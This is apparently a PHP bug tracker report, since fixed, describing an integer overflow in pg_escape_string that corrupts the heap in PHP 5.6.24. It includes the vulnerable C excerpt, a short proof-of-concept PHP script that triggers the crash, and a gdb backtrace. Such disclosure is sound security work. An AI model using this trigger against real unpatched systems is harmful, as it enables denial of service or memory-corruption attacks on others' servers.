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Bug #72874 integer overflow in pg_escape_string caused heap corruption
Submitted: 2016-08-18 03:53 UTC Modified: 2017-02-13 01:31 UTC
From: minhrau dot vc dot 365 at gmail dot com Assigned: stas (profile)
Status: Closed Package: PostgreSQL related
PHP Version: 5.6.24 OS: ALL
Private report: No CVE-ID: None
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 [2016-08-18 03:53 UTC] minhrau dot vc dot 365 at gmail dot com 
Description:
------------
There is integer overflow in pg_escape_string function, check comment below:

PHP_FUNCTION(pg_escape_string)
{
...

	switch (ZEND_NUM_ARGS()) {
		case 1:
			if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &from, &from_len) == FAILURE) {
				return;
			}
			pgsql_link = NULL;
			id = PGG(default_link);
			break;

		default:
			if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rs", &pgsql_link, &from, &from_len) == FAILURE) {
				return;
			}
			break;
	}

	to = (char *) safe_emalloc(from_len, 2, 1); // negative size pass to safe_emalloc function
...

Test script:
---------------
<?php

ini_set('memory_limit', -1);
$str = str_repeat('A', 0xffffffff/2-1).'\\';

var_dump(strlen($str));


$str1 = pg_escape_string($str);
var_dump(strlen($str1));
unset($str);
chunk_split($str1, 11, $str1);										
?>

Expected result:
----------------
No Crash

Actual result:
--------------
Starting program: /home/minhrau/PHP-5.6.24/sapi/cli/php testpg_escape_string_negative.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
int(2147483647)
int(-2147483648)

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff10a2f78 in __memcpy_avx_unaligned () from /usr/lib/libc.so.6
(gdb) bt
#0  0x00007ffff10a2f78 in __memcpy_avx_unaligned () from /usr/lib/libc.so.6
#1  0x00000000007f531a in zif_chunk_split (ht=3, return_value=0x7ffff7f9ef80, return_value_ptr=0x7ffff7f6b0e8, this_ptr=0x0, return_value_used=0) at /home/minhrau/PHP-5.6.24/ext/standard/string.c:2221
#2  0x00000000009652bf in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7f6b280) at /home/minhrau/PHP-5.6.24/Zend/zend_vm_execute.h:558
#3  0x000000000096ceef in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0x7ffff7f6b280) at /home/minhrau/PHP-5.6.24/Zend/zend_vm_execute.h:2602
#4  0x00000000009637b2 in execute_ex (execute_data=0x7ffff7f6b280) at /home/minhrau/PHP-5.6.24/Zend/zend_vm_execute.h:363
#5  0x000000000096419e in zend_execute (op_array=0x7ffff7f9f890) at /home/minhrau/PHP-5.6.24/Zend/zend_vm_execute.h:388
#6  0x000000000091f70e in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /home/minhrau/PHP-5.6.24/Zend/zend.c:1341
#7  0x0000000000890619 in php_execute_script (primary_file=0x7fffffffe2a0) at /home/minhrau/PHP-5.6.24/main/main.c:2613
#8  0x0000000000a42420 in do_cli (argc=2, argv=0x11f8960) at /home/minhrau/PHP-5.6.24/sapi/cli/php_cli.c:994
#9  0x0000000000a4346e in main (argc=2, argv=0x11f8960) at /home/minhrau/PHP-5.6.24/sapi/cli/php_cli.c:1378
(gdb)

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AllCommentsChangesGit/SVN commitsRelated reports
 [2016-08-18 03:57 UTC] minhrau dot vc dot 365 at gmail dot com
-Package: *General Issues +Package: PostgreSQL related
 [2016-08-18 03:57 UTC] minhrau dot vc dot 365 at gmail dot com 
change package
 [2016-09-02 06:22 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-09-02 06:22 UTC] stas@php.net 
The fix is in security repo as 0f1eb74e92191e817b4198ceda4e8f093699da62 and in https://gist.github.com/39b697c75a0502e091a1191f83029034
please verify
 [2016-09-05 05:30 UTC] minhrau dot vc dot 365 at gmail dot com 
Patch looks good.
 [2016-09-13 04:13 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-09-13 04:13 UTC] stas@php.net 
The fix for this bug has been committed.

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Thank you for the report, and for helping us make PHP better.
 [2017-02-13 01:31 UTC] stas@php.net
-Type: Security +Type: Bug
 
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